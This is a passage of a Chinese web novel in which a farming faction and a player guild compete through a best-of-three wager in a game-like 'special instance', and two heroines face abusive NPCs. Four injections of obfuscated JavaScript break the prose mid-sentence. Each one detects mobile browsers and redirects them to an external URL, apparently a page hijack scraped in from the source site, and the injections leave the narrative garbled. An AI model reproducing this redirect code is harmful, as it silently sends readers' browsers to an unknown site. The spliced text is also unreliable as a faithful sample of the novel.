“还是说想离开你们的人太多了,你已经分辨不出来谁是失踪谁是脱离。”林屿本来是在阴阳她,但话说出来自己却愣了一下,对啊!这么多人的玩家公会,样本足够多,那么碰上异变NPC的概率比种植者组织大不少,成员失踪肯定不止这一例! 唐瑜妡转动轮椅侧对着她们,目光望向窗外的白塔,“我说过,你需要拿出说服我的证据。” 她不是现在才察觉到这点,但一个玩家也没能从异变副本中回来,自然也没有任何消息。 “田子阳已经详细说过副本情况,肖昌盛第一天死亡之后进入小黑屋,然后被放出来,钱刚在第三天死亡,却在七天最长禁闭之后也没有出现在白城,而造成这样差别的是一个NPC的技能,他让你们吃下异物,然后让玩家和副本同化。”唐瑜妡说道,她没有经历过上个副本,却对其中发生的事一清二楚。 想必可怜的田子阳一定是被盘问了很久,林屿想起他之前说是来帮她,然后提供了唐瑜妡的情况,玩家公会的处境等一系列消息,这才让她胆敢提要求交易,只不过……田子阳没有言无不尽地把筹码压在她身上,他仍然不看好她的处境。 “既然是NPC的技能,那么仅此一例,你是如何得出其他副本也能囚困玩家的结论的?”唐瑜妡反问道。 “但玩家接连不断失踪是事实。”林屿说道,实际上,这是她推测出来的,而不是一个确定的结论。她没有身处管理位,也没有做过人口统计,除了上个副本的特例甚至没有亲身经历,是队友说言教授失踪,是去白城边缘时何芝说那里的人员流动性大,是种种暗示相加,早在心底明悟却终于浮出水面的真相。 唐瑜妡被这句话刺中了,没有谁比一个大公会的会长更能察觉到这点,失踪的人带不回来消息,而他们失踪本身只能让人看到危险的潜伏,却看不清具体,而现在,却有一个被相同危险捕获却战胜了它的人站在眼前。 林屿察觉到对方的松动,补充道:“虽然每个人的技能不同,但是你别忘了,就像种植者一样,不同的技能也可以达到同样的效果,上个副本我们全程没有收到一条系统通知,直到最后离开才有,这一点才是最重要的,为什么一直以来发布任务的系统失灵了呢——因为除了拥有技能,变异NPC还有办法影响副本。” “任向的技能是很稀有的,大部分种植者的侧重点都是促进生长,只有他的是增进收获。”唐瑜妡似乎叹了口气,终于转回轮椅面对来客,“你确信你的消息值得我的让步,对吗?” 林屿呼出一口气,放松下紧绷的脊背。 …… 白城边缘。 严开吉四人和另外两人分开后绕了一大圈,确认没人跟踪之后便上这里来了。之前送粮来过几次,还算熟悉这处生态,虽说像流浪汉大本营,但是碍于系统规则,乱不起来,也没人真敢伤人,顶多需要防范小偷小摸。 几人寻了个角落朝石头旁一蹲,伪装成新加入的无家可归者,几个离得近的“原住民”探头探脑地往这边看了一眼,见来人两手空空,又不感兴趣地收回目光。 “你们说这回和玩家公会能谈得拢吗?”任向小声问严开吉,和种植者合作也就是和严开吉合作种地,他和这个老伯最熟,而同样的技能身份也让严开吉多照顾他几分,这回也是他在力保自己,任向也是为这个才把命运交给了前去谈判的两人。 “你就放心吧!小何一定给办得妥妥的!”严开吉拍着胸脯打包票。 韩舒却并没有他这么乐观,看他把话说满,面上带着些不赞同,对任向说道:“你把安危交到我们手上,我们必然尽全力帮你斡旋,只不过能不能成单靠我们说了不算,但是你放心,我们不会出卖你,会尽力让你撑到庄叔回来。” 庄建是任向的保镖,现实中的,到了副本觉醒强力技能之后没有抛弃雇主,反而和雇主合作,一人负责口粮,一人赚取积分,不加入组织也过得滋润,是白城里少有的安闲散人。 只不过庄建喜欢下本,这回估计又又又马失前蹄进小黑屋了,得过几天才出现。他过本多,赚得多,风险也高。 孟锦竹现在没有用韩舒的外观了,不然两个一模一样的人走在街上非常引人注目,她现在用的是一张街边路人脸,此时耳边忽然响起一声叮咚。 什么东西,还没进副本,怎么突然有系统提示音? 伴随这声叮咚,地面也在微微震动,四人一下子面面相觑,不知发生了什么。还是孟锦竹第一个想到去看系统面板,然后看见了一条多出来的通知。 【检测到部分副本异常,现征集玩家清除隐患,自愿报名的玩家请走进台阶内光圈进入特殊副本,副本内将发放武器,完成目标任务即可申请离开,每个目标奖励200积分。】 几人研究了一会儿内容,孟锦竹作为这里唯一进过异常副本的人,喃喃道:“征集玩家?系统又在搞什么幺蛾子,刚才的地震也是它弄出来的吗?” 韩舒不知想到了什么,眉头越皱越紧,忽然一下子站了起来。 “怎么了?”孟锦竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她指了指窗外,“新副本,大家都是去完成目标的,那么各自派五个人进去,五局三胜,同时进去,谁先出来算谁赢,你们赢了我不再为难种植者组织和任向,但要是我们赢了,你们得乖乖加入玩家公会,听从我的安排。” 林屿等何芝决定,毕竟首领是她,对组织有责任心的也是她。林屿觉得她大概会拒绝,目前没有谈拢是一回事,但要是真答应下来却输了赌约,那么无论如何这个组织都保不住,除了加入就只有解散。 何芝想了想,抬头道:“我同意,什么时候开始?” 林屿满眼都是“你疯了”,何芝回以一个安抚的眼神,对唐瑜妡说道:“不过需要等我们一个成员完成副本回来。” “可以,不过我只等三天。” 70.第七十章 “你疯了!” 白城边缘,韩舒乍然听见这个消息震惊得无复已加,“那可是玩家公会,我们拿什么和他们比?你这是要把言教授的心血拱手送人!” 他第一次如此愤怒,甚至顾不上旁边还有外人,对他来说,种植者组织是言教授创立的血汗成果,他不能容许组织有什么闪失。 “玩家公会里的也是人。”何芝平静地说道,“就算我拒绝,他们也不会放弃,组织还能拖延多久?他们随时能把今天的事再做一百遍,我敢把你们安排进他们给的房子里吗?” 严开吉安抚地拍了拍韩舒的肩,“没有住处,没有福利,普通成员还有多少愿意留下来守着?就算我们几个能受得了,但东躲西藏的日子也很折磨人,这样你们怎么好好过副本,怎么有精力去分析这背后的秘密?” 韩舒无意间捏成拳的手指松开,但胸口仍然起伏着,缓了一会儿,问何芝,“赢的把握有多大?你不会什么后手也没有就同意吧?” “三局两胜。”何芝说出胜制,却对后手避而不答,转而说起人选,“我们这边派三个人,我,孙覃,以及……” 她的目光在几人身上转了一圈,落到林屿身上,正要说话,却听韩舒抢声。 “我去。”韩舒目光逼人,“言教授很可能有危险,我必须去。” “他之前急着要冲进特殊副本,我们好不容易才拦下来的,小韩过副本能力不低,没看他关几回小黑屋呢!”严开吉在一旁帮忙说话,和以往大不了不干了蹲黑牢的随意不一样,赌约在头上,这回压力很大的,林屿虽然能力出众但毕竟是新人,对组织的归属感没有那么强,韩舒因为言教授的事心念坚定,是他心中的更好人选。 何芝和孙覃作为参与者倒是被一致认同,身强体壮,技能好用,比其他人好太多了。 林屿耸耸肩,她虽然好奇特殊副本,不过这次不行总有机会去看看,不急这一时,何况万一种植者输了还不用她背这个锅。 而且,她已经和韩舒严开吉之外的核心成员组队过了本,了解组织实力,主力就是何芝和孙覃两人,好像没有谁可以当“后手”的,而玩家公会人员众多,又全是技能者,还不知道上场的是什么人。 何芝没有继续点人,而是对韩舒说道:“你去,但不是去参加赌约,而是去找人,外加探查特殊副本的情况。” 韩舒露出诧异的神色,“不是参加赌约?” “是的,你现在准备好了就可以进去了。”何芝抛出这句话。 在场几人瞪大双眼,不理解她为什么这么说,而林屿反应过来,“这就是‘后手’吗?正好韩舒的技能可以在副本和白城间通讯!你是让他先打探情况,让我们有信息优势!” 何芝点头,“我们不这么做,对方也可以这么做,所以必须派出一个有能力的同伴占领先机。” 她看向韩舒,“赌约不是儿戏,找人也不是儿戏,如果你发现言教授消息必须马上跟进,但对手就快达到目标了,你要兼顾哪一头?” 韩舒脸色白了白,“我……” 他没办法抉择。 “所以,你先行进本,做我们的探路人,你在寻找教授下落的同时也是在挖掘副本,得到的情报就是我们的优势。” 韩舒呼出一口气,端正神色,“我一定完成任务!” 他分发好传信纸之后就走了,看样子是一刻也等不得,所有人眼中疑虑散去,林屿心中也多了几分敬佩,之前何芝应下的时候自己内心也觉得胜算不大,但没想到她并不是一时冲动,反而考虑了方方面面,后手也已经想好了。现在,就剩下一个问题—— “孙覃会顺利通关回来吗?” 何芝看了她一眼,拿出传信纸,“他说马上。” …… 孙覃归队之后,何芝仍然等到第三天才前往赴约。此刻,白塔之下被单独隔离出的高台边,唐瑜妡在众人簇拥之下含笑看着何芝一行人。 “那么,赌约第一场现在开始。”她抬了抬下颌,背后一个人走上前来,在她身侧站定,这边还没报名号,种植者组织那方却先一步惊呼出声。 严开吉不可置信地看着他,“老盛,你怎么跑到对家去了?我说最近老联系不上你,你你你,你糊涂啊!对得起教授他们吗?” 被叫做老盛的人两鬓略有白发,面有皱纹,是玩家中少有的大龄人,他和严开吉同属于言教授科考团队的向导,也是在白塔事故之后脱离组织的人之一,之前种植者大本营损坏后严开吉提到的建造者就是他,但没想到他竟然加入了玩家公会,还成了这回赌约的对手。 面对昔日同伴的诘问,他没露出多余的表情,只是不耐烦地回话:“之前他只是雇了我,到了这里也没继续给我钱,我当然哪边待遇好就加入哪边,我对不起谁了我?别给我扯信念归属感那一套!” “你忘了没技能之前的事?你过不了本,每次都是我们带着你,积分吃不饱饭,哪次我没给你开小灶!”严开吉痛心疾首。 “你都说了是觉醒技能之前,现在我走到哪里都有人收。”盛堃冷漠道。 严开吉涨红了脸,指着他说不出话,唐瑜妡见对家吃瘪,露出微笑,“你们还没确定人选吗?” 何芝权衡一番,说道:“孙覃,你去。” 半圆台阶上玩家寥寥,进去的零星几人,出来的几乎没有,三天过去,玩家依然对这个突然的“馅饼”心存疑虑,加上根本没有去过的人站出来说明情况,因此愿意踏上台阶的只有冒险者和走投无路的人。 在比赛开始之前,盛堃回头看了一眼唐瑜妡,“别忘了你答应我的事。” 唐瑜妡:“前提是你赢。” 看着两人同时没入光圈,唐瑜妡道:“这样干等着浪费时间,我为大家准备了休息室,留两个人在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630110|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里看着,其余人可以回去等。” 见对面几人面露犹豫,她补充道:“在我办公室楼下,食水免费提供。” 林屿听到免费两个字立刻用手肘捅了捅何芝,换来一个无奈的眼神,何芝想得更多,最终留下了严开吉和自己等待结果,让其他人跟着去休息室。作为首领,她不得不分散成员,防止被一网打尽。 有韩舒的情报,在适应副本上孙覃不会有太大问题,唯一要做的就是比对方更快地用出三颗子弹,解决三个问题NPC。 是的,系统发放的武器就是一把手木仓,里面共有五颗白色子弹,打中问题NPC后他们就会两眼翻白,随后消失,林屿高度怀疑子弹的材质和NPC后颈白刺相同,只不过这需要亲眼见证之后才能定论。 五颗子弹中有两颗属于“容错空间”,只有在料理三个人之后系统才会询问是否回城,而它从头到尾也没有提过,如果玩家没有达成指标,又要怎么办。 林屿和孟锦竹美美吃了一顿好的,醒来之后听到消息:第一局,种植者组织输了。 白塔下,两方人已经到齐,孙覃脸颊紧绷,隐怒地看着盛堃,没想他竟然尾随自己,抢了自己好几次目标,有两次都让他得手了!自己这边先遣队员韩舒一人进本,没能察觉到玩家进入的特殊副本是连通在一起的,但对方知道这点,于是前期隐藏行迹,后期隔空造墙放冷枪——这也说明,玩家公会也早已派人去过副本了,还不止派了一个! 但也有对方没摸透的地方,林屿从孙覃的复述中推测,对方还没有找到鉴别问题NPC的好方法。 开局不利,却没有时间全面复盘,第二局紧接着第一局结果即将开始,唐瑜妡由华浩俊推着轮椅施施然地到场,这回她派出的竟然是林屿认识的人——肖昌盛,他主动要求参与比试。 玩家公会队伍中,肖昌盛站在唐瑜妡面前,垂着头低声说道:“如果我赢了,能不能把之前六街那栋楼的经营……” 唐瑜妡打断他,“赢了再说,不然你的范围再减一半,老老实实过副本去吧!” 在了解到他和钱刚是为了对付林屿跟进副本,还一个把自己作进小黑屋,一个直接把自己作没了之后,唐瑜妡直接削减了公会分配给肖昌盛的资源,原本有两栋楼交予他营利赚积分,现在只剩一个小破屋,要是再减一半……他不由把仇恨的目光投向对面。 林屿心说冤冤相报何时了,随即就要主动请缨再次打他的脸,然而这回站出来的确是何芝。三局两胜,他们无论如何也不能输掉这局,不然直接赔上全部Game Over,所以只有她去,即使对面看出来这局的压力,出的不算一匹好马。 以上驷对下驷,何芝几乎稳赢,因此这回林屿没有急着去休息室蹭吃,而一直在台阶下等待。 她本以为很快就能见到何芝出来,然而直到肚子咕咕直叫,台上依然连个人影都没有。 71.第七十一章 这回林屿心里悬着,没去休息室蹭吃,而是找华浩俊造了几个小板凳分给队友——正好玩家公会一行人也没离开,似乎都认定这局很快见分晓。两边没有太多交流的意思,各自聚在一起,林屿听着同伴们聊天来缓解压力。 “你说我们真的要加入那边吗?”严开吉努着嘴示意玩家公会那群人,压低声音,“我真的看不惯他们那副鼻孔朝天的做派!” “那就相信我们会赢。”孙覃端正脸色,给队友们打鸡汤。 “但你不是输了吗?”孟锦竹嘴快接了一句,说完立刻掩饰性地咳了两声,“那个,如果派我去我也会输,毕竟对方是建造者嘛……” “建造者怎么了?建造者打架一点也不厉害,全靠坑蒙拐骗耍心机!”严开吉不服气,甩了甩膀子把袖子往上撩,“要是我上场,绝对把那孙子揍得脸上开花!”看起来他被盛堃一点不顾情谊耍脏手段赢的举动气得不轻。 输了第一局的孙覃默默扭头,看向唯一没有说话在他心上扎刀的林屿,试图把话题从骂架引向正经分析,“你知道肖昌盛的技能吗?” 对方的选手在上场前还在瞪她,像是有什么深仇大恨一样,孙覃忍不住目露探究,“你之前和他……” “我搅黄了他一桩租房生意。”林屿倒是没什么不好说的,摸了摸下巴,“还让他摔了个跤,确实有点纠纷。” “但也不至于为这点小事追着你不放吧!真是小肚鸡肠!”孟锦竹打抱不平。 林屿心有戚戚地点了点头,是啊!她之前完全没料到那两人还追着她进了副本,“至于技能……他在副本里死太快,所以不知道。” “听起来这个人不怎么样嘛,那为什么小何现在还没出来,莫非……其实他的技能很厉害?”严开吉忍不住想向队友求个安心话。 孙覃有一瞬间又想张嘴递鸡汤,不过他忍住了,不送上门去当靶子。 孟锦竹本来想说“何姐怎么可能被那种人赢了去”,但转念一想这不就是活脱脱的flag吗,于是牢牢地闭上嘴巴。 林屿忽然发现没人说话了,都把目光聚在自己脸上,摸了摸自从来这里就没有保养过的脸蛋,满脸迷茫。她的目光扫过一众等待接话的队友,望台上一望,看见了那个忽然多出来的身影。 “何姐出来了!” 严开吉回过头,脸上忧虑散去,露出喜色,“我们赢了!” 第二局的胜利给众人脸上添上笑容,驱散了方才愁云惨淡的氛围,台上确确实实只有一个人,不像上回比试两人在很短时间内先后出现,这说明何芝的进度远远甩开肖昌盛。 何芝对队友点头示意,随后走向同样关注台上的玩家公会,唐瑜妡在众人簇拥的中心,靠在轮椅靠背,却也并没有和队员一样发怒地唾骂肖昌盛不自量力,她没有太大意外的神色表明结果在她的掌控之内,看见来人,也只是露出礼貌的微笑。 “恭喜,你们赢了一局。” 何芝在她面前站定,“我要补充规则。” “在赌约中途补充规则,哪有这样的道理?” 唐瑜妡背后的一群玩家窃窃私语,出言反对。 林屿走到何芝身边,问道:“怎么回事?他们是不是做了什么?” “派出先遣队谁都会做,但让先遣队事先打探好目标给后来的人收割……你们不觉得这种做法违背公平吗?”何芝说道。 什么?让先遣队找人赌约的选手来收割?林屿瞪大眼睛,他们竟然这样玩? 唐瑜妡微不可察地皱了皱眉,“我并未授意他们,如果你觉得不公平,那下一场不会再有。” 严开吉听见这话,顿时不乐意了,“那之前的就不算了?” 唐瑜妡十指交叉在腹,“如果你们想重新开始……我们随时奉陪。” 严开吉立刻道:“那就重……” “继续。”何芝打断他,“我们继续赌约第三局。” 虽然重新赌局看似是一条更优的路,却会让种植者组织失去最大的先手——快速分辨问题NPC。玩家公会踩线耍诈,但她在副本里却发现,他们并没有准确辨别的办法,是依靠行为分析等等一系列复杂的观察去判断的,而他们弄错了三个人,直接让肖昌盛困在副本里了,这才让她反超过去,赢得比赛,不然谁能比得过这样作弊啊。 “但是你们必须保证,不再让场外人提供关于问题NPC人选的情报,一旦发现,就相当于立刻认输。” “可以。”唐瑜妡道,对旁边挥了挥手,“听到了没有。” 一个玩家立刻拿出一个海螺,到一边低声对着螺口说话。 海螺传音?林屿有些好奇地看着这个神奇的操作,看来他们也有副本内外交流的办法。 那个玩家说完话,把海螺对准耳朵听了一会儿返回来,“肖昌盛说他出不来了。” “等着。”唐瑜妡冷冰冰吐出两个字,没有派人救他的意思,她看向对手,“第三局。” 何芝的目光在队友身上转了一圈,林屿本来以为自己要上,没想到她的目光落在众人身后,“你去。” 林屿转过头,看见一个肌肉虬结的猛男缀在末尾,顿时瞪大了眼眶。 ???这谁啊这?他什么时候来的? “老庄!”严开吉一看来人差点热泪盈眶,“竟然是你!” 啊? 林屿缓缓想起之前提起过的任向的保镖,所以第三场的压轴是他?很合理,他一看就比自己靠谱得多,自己毕竟是个才过了三个本的新人。她叹了一口气。 “原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673589|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是……”唐瑜妡的表情耐人寻味,“他和那个种植者不是一向独来独往吗,什么时候加入的你们?” 何芝笑了一下,“赌约开始之前。” 先前她说的等人,不止是等孙覃。任向的事,拉他的保镖做壮丁理所应当,本来想着如果人没出小黑屋就派林屿补上,但他来了,自然需要派最能尽全力的他上场,林屿和任向没有交情,即使潜力出众,却也没有当事人适合。 庄建这人唐瑜妡打听过,知道他是个过本好手,本以为种植者组织人才凋零没有拔尖玩家,没想到他们不仅自身实力可以,还拉了厉害外援,眼看玩家公会第三局没有能派出去的人了,唐瑜妡却并不着急。 既然他都公开加入了对面,自己这边赢了不就直接通吃了吗?还少了说服等过程。 “第三场,我们这边出三个人。我,华浩俊,田子阳。”唐瑜妡让中二少年华浩俊推着轮椅上前,身后人群中的田子阳一愣,随后走出来跟他们站在一起。 “三个?三比一?”眼看着他们想以多欺少,严开吉跳出来就要甩开袖子骂人。 “你们也可以出三个,当然,只来一个我也不介意。” 何芝拉住严开吉,“之前并没有说过是团体比。” 唐瑜妡:“也并没有说只能出一人,只要人数相等,那就是公平的。” “好吧。”何芝知道对面不可能退一步了,于是重新看向自己的队友,“林屿,你,还有……”对于最后一个人选,她有些犹豫。 严开吉纯纯种植者技能,虽然每天劳作身体健硕,但他几乎没怎么下过本,只不过他和庄建熟,也了解他的技能。孟锦竹的技能没有攻击力防御力,纯辅助,虽然她过本多,但那块奇怪的石头会让她技能失控,而满是异常NPC的特殊副本,能少得了那种石头吗? 如果韩舒就好了,他才是最好人选,现在召回他已经来不及了。 唐瑜妡三人已经在台阶上的光圈边上等待,看样子也知道他们组织的成员构成,不打算给他们这个机会,就在何芝左右为难之际,孟锦竹主动站出来了。 “我去吧,我知道何姐在担心什么,但我不会再失控了。”孟锦竹挺直脊背,坚定地看向何芝。上个副本出来以后,她深深自责,觉得自己拖了后腿,在知道那块导致技能失控的石头之后,她每天都偷偷地靠近,忍受着即将失控的技能和抽空的精神力训练自己的耐力,现在不说完全没有影响,但她在情绪激动和靠近石头时已经不会像之前那样了。 人选确定,林屿三人准备踏入光圈,对面华浩俊也推着唐瑜妡进本,表情确是兴高采烈,“噢耶!赢了林姐姐就和我一个公会了!” 白光覆盖视野之前,田子阳回头看了她一眼,像是在说:我也帮不了你了。 72.第七十二章 哗啦啦,哗啦啦。 空气沉闷无比,一股混杂难言的气味使劲往鼻孔里钻,像是三年没洗的袜子在三天没倒的食堂泔水桶里捞出来然后丢在面前。 呕。 林屿眼睛还没从白光中恢复,手已经先一步捂住了鼻子,后知后觉地从动作阻碍和背上的触感中发现自己是躺着的。 这怎么回事,竖着刚一进副本就横着了?这味道不会横在下水道里了吧? 林屿眨了眨眼睛,适应了屋子里昏暗的光线,入眼就看见一个狗窝似的房间,而自己头上包着纱布,和一堆杂物一起挤在角落里窄小的铁床上。 衣服在对面掉皮掉得几乎光秃秃的沙发上堆满了,军绿色、土黄色,样式可以直接拿去考古上世纪,墙壁刷着掉渣的白腻子,但已经被黑色灰色的手印脚印占满了,脏得不成样子,乍一看还以为是灰的。 这是在哪里? 林屿坐起来,水泥原皮地板上糊了一层油灰混合物,已经看不出原来的颜色,不远处的厨房门半遮半掩,但是四处可见的方便面盒,吃完的白色泡沫塑料饭盒以及黏着黄色油腻的废弃透明口袋可没有半遮半掩,直接堆在桌子上、板凳下或者沙发边等每一处角落,散发出阵阵恶臭。 看起来这里是老式旧楼房的某户人家,生活条件非常落后,而她直接出现在了客厅。林屿倒是想四处查找一番,然而这源自本能的探索欲却败在了无处不在的臭气之下,林屿现在恨不得夺路而逃然后立刻把后背和鞋底洗刷三遍,就在她要站起身时,旁边的窗户发出一声震天巨响。 咣咣咣! 一个头发油腻腻的男人用肥厚的手掌拍打着窗框,眯着眼以一种居高临下的挑剔审视看着房间里的人,粗声粗气地吼道:“醒了?醒了就赶紧做饭!老子饿都要饿死了,还不赶紧滚过来伺候?” 林屿的感觉就像自己走在路上忽然被踹了一脚,心里既荒谬又愤怒,恨不得立刻扇他一鞋底让他闭嘴,这人谁啊?就这小小一个动作和眼神的功夫却无一不让人觉得冒犯,好像自己是他的奴隶还欠他三千万块钱。如果是现实世界她大约不会动手,但这里是副本,而自己有技能教训了人可以跑,再加上屋子里的气味让她一刻也不想多留,林屿当即起身去拉门,然而小小一扇刷黄漆的木门却固若金汤,死活开不了。 她愣了一下,一不小心忘记闭气,甚至因为缺氧深吸了一口,顿时魂都要没了。但不得不说,这一下直接把脑子干冷静了。捂着鼻子,她终于暂时忍耐下来。 韩舒传来的消息是,每个玩家进入特殊副本后会随机到一个地方,完成这处任务才能离开,而开场的地点基本上不会遇到目标NPC。 那么她现在的任务是做饭? “碰!” “杠了!” 哗啦啦的碰撞声响起,先前那男人已经坐回去继续打麻将,脚边躺着好几个酒瓶,还有一个碎成几瓣,但碎片没人收拾,酒液被四人踩成一团脏鞋印。 “你家那口子终于肯起来了,这几天每天看她躺在那,一动不动就像死了一样,真是晦气!” “呸!”砸窗的男人吐了一口痰,“再不起来看我怎么收拾她,不就是工地被砸到头了吗,至于躺这么多天,全靠老子养着!”说是养着,人也只是一直和杂物一起躺在铁床上,他见人没醒也根本没去管,被子也没给人盖,打包外面的吃了几天垃圾全部堆在这等人醒了收拾。 林屿心想幸好自己不是原主,不然铁定用酒瓶子打爆他的狗头。心里骂归骂,任务还是得完成,不然她只能和臭气关在一起了。 林屿转身走向厨房。 半开的塑钢门积淤着发黄的污渍,墙壁贴着瓷砖,长年未清理的油渍在白色瓷砖上糊出一层焦糖色,比外面还浓一倍的酸腐味扑面而来,瞬间把她击得后退半步,恨不得立刻夺门而出。 她以前没有洁癖,现在瞬间明白了洁癖们的痛苦。 锅里的原先盛着汤,然而现在膨胀成了一锅绿青黄三色交杂的霉菌,林屿似乎能看见密密麻麻的孢子从锅中飘出,桌案上放着一些蔬菜,然而稍微一碰番茄就瘫软下去,流出一汪腐液。四处搜寻其它食材,只能找到墙角干瘪成皮的大蒜。 林屿木着脸退出厨房,终于放开了屏息,一阵头晕眼花。 她真的,尽力了,这里没有任何东西可以拿来做饭。 痛苦面具·jpg. 窗外打麻将的响声碰碰不停,方才的话题还没结束,交谈声几乎没有阻隔地传来。 “要我说,你让人家替你去上工,完了之后把人往边上一丢,一个子儿也不出,净赚,这种好办法是怎么想到的,改天我也试试!” “老三的脑子一向灵光,这种无本万利的买卖只有他想得到,更别说那娘们无父无母没有依靠,或者帮你上工,死了吃个绝户,好哇!” 怎么越听越生气呢,林屿拳头硬了。 做饭是吧,那她就好好做一锅。 手里端着锅,锅里装着菜,大门果然能打开了,她就这样径直走出门外,大踏步走到牌桌四人面前。 “嘿嘿,饭到了,兄弟们歇一歇先吃饭!” “你是不是要输了,这局打完再吃,让她端好锅在边上等着!” “怎么这么臭,你们是不是偷偷放屁了?” 既然能出门,那自己的任务就是完成了,可以离开这里去其他地方找目标,她可没忘记这是赌约的关键局,可不能为了这几个人乱耗时间。 她正要放下锅离开,而此时看到一个人毛手毛脚地往跟前摸,眼神一冷,直接把锅扣在那人的脑袋上,里面的汤水霉菌连着收集的剩饭剩菜溅了四人一身。 “我日你——”被扣锅的倒霉蛋脸也是之前砸窗的人,脸上顿时青白交加,怒不可遏地暴起伤人,然而他一巴掌没扇到人,反而是脚下被扔了个酒瓶,直接摔了个狗啃屎。 林屿又砸了个瓶子,得到道具:参差不齐但尖锐无比的酒瓶底。她拿着凶器对另外几人比划了一下,瞬间把他们吓得不敢上前。 “你们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712070|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想被扎个血窟窿吧?” 丢下一句威胁,林屿准备离开,然而刚刚朝小区门口走了两步就四肢阻滞,僵硬无比。 见鬼了!任务不是完成了吗,怎么还走不了! 她不得不往回退了一步,退回来之后,身体一下子活动如常,看样子真的是任务没有被判定完成。 回过头,先前那人已经从地上爬起来,捂着鼻血暴跳如雷喊打喊杀,也学乖了,从地上捡了个玻璃瓶然后一脸狰狞地冲了过来。 “你这个贱人!” 嘴不会说话可以不要,林屿方才以为完成任务脱离苦海的好心情完全破灭,下意识用上了技能,然而来人的攻击已经近在眼前,她抬手,用半个酒瓶拦住他抡过来的瓶底,手心被这一下震得发麻,几乎拿不住武器。 比力气是赢不过成年男人的,再来一下,她根本挡不住。 然而一击之后,那人却是满脸痛苦地捂住嘴,随后往外呕了几下,吐出一嘴霉菌。就在方才,她用“给予”把锅里的东西塞他嘴里去了。 因为场面太过恶心,林屿往后退了两步,而就是这两步发现了问题。她已经站在方才阻滞的地方,却还能行动,秉着在底线上蹦跶的作死心态,林屿又往后退了一步。 退不了了,关节如同灌了铅一般,而她的眼神却亮了起来。 任务是做饭,但不止是做饭,得要他们吃了才算完成。一个人吃就解封了一步。 ……这不是巧了吗? 林屿露出了自进副本以来第一个缺德的笑容。 “给予”发动。一时间,方才还气势汹汹要报复的四人纷纷掐住自己的脖子往外呕吐,吐出绿色青色黄色的霉菌,吐出屋子里先前的剩饭剩菜,吐出锅里霉菌之下发黑变稠的汤汁,眼泪鼻涕一把抓。 任务完成。 林屿脚步轻快地往小区门口走,一路上再没有任何阻滞。 神·清·气·爽,果然对冒犯就要直接报复回去。 她回头看了眼这个老旧的小区,黑灰的水泥外墙斑斑驳驳,楼道上菱形的透气孔内漆黑一片,现实里没有见过这种地方,只在历史书或者仿真游戏里有,是上个世纪的影像。 她微不可察地叹了口气,建筑已经消亡,但某些被视为理所当然的思想在百年后却依旧根深蒂固。 就在即将踏出小区的时候,林屿听到了一阵骚乱,一楼另一边的某扇窗户映出两个人影,其中一人追打着另一人,而另一人的身影分外熟悉。 孟锦竹用了周琪琪的外观,不得不说这个无意之举让这幕画面更加惊悚,少女稚嫩的面颊血色尽失,惊恐地看着缓缓逼近的高大男人。 男人脸色阴沉得快要滴水,行走间不知为何有些踉跄,他高举起菜刀,然后猛地劈砍下去。孟锦竹慌乱无比地在身后摸索,侧过脸闭着眼往前狠狠砸下。 她摸到的是擀面杖,但是擀面杖怎么比得过冷铁利刃呢?何况她动手比对方晚,就算格挡也晚了。 男人眼底浮现出残忍的快意。 73.第七十三章 房间内,孟锦竹狼狈地躲过砍过来的刀刃,心情像是日了鬼,她不理解这个一见面就出现的NPC为什么如此暴怒,非要打到她不可,就不能打打墙壁家具来代替吗? 之前她发现自己在一个昏暗的房间里醒来,四处摸索着灯的开关,最后发现那竟然是一截绳子,扯一下,灯就亮,再扯一下,灯就灭,顿时震惊了:这是什么高科技! 然而发黄发暗的钨丝灯泡却和高科技一点都搭不上边。 就在她玩灯泡起劲的时候,外面的门忽然砰地一下被踢开了,一个男人阴沉着脸走进房间,看见灯光勃然大怒。 “你知不知道电费多少?开灯,还敢开灯?让你买的烟也没买,我每天辛辛苦苦在外赚钱养家就养了你这个无底窟窿,要不是你今天我能挨那么久的骂?” 说完就一巴掌扇来。 孟锦竹心道你挨骂和我有什么关系,她开个灯还触犯天条了,弯腰躲过掌风,随后毫不客气地往他裆下踹了一脚,顿时让男人痛得跪倒在地。 她趁机闪身摸到门口,正要开门,后脑感觉到风,连忙矮身蹲下。 梆!一把菜刀正正嵌入门框。 卧槽!这人疯了! 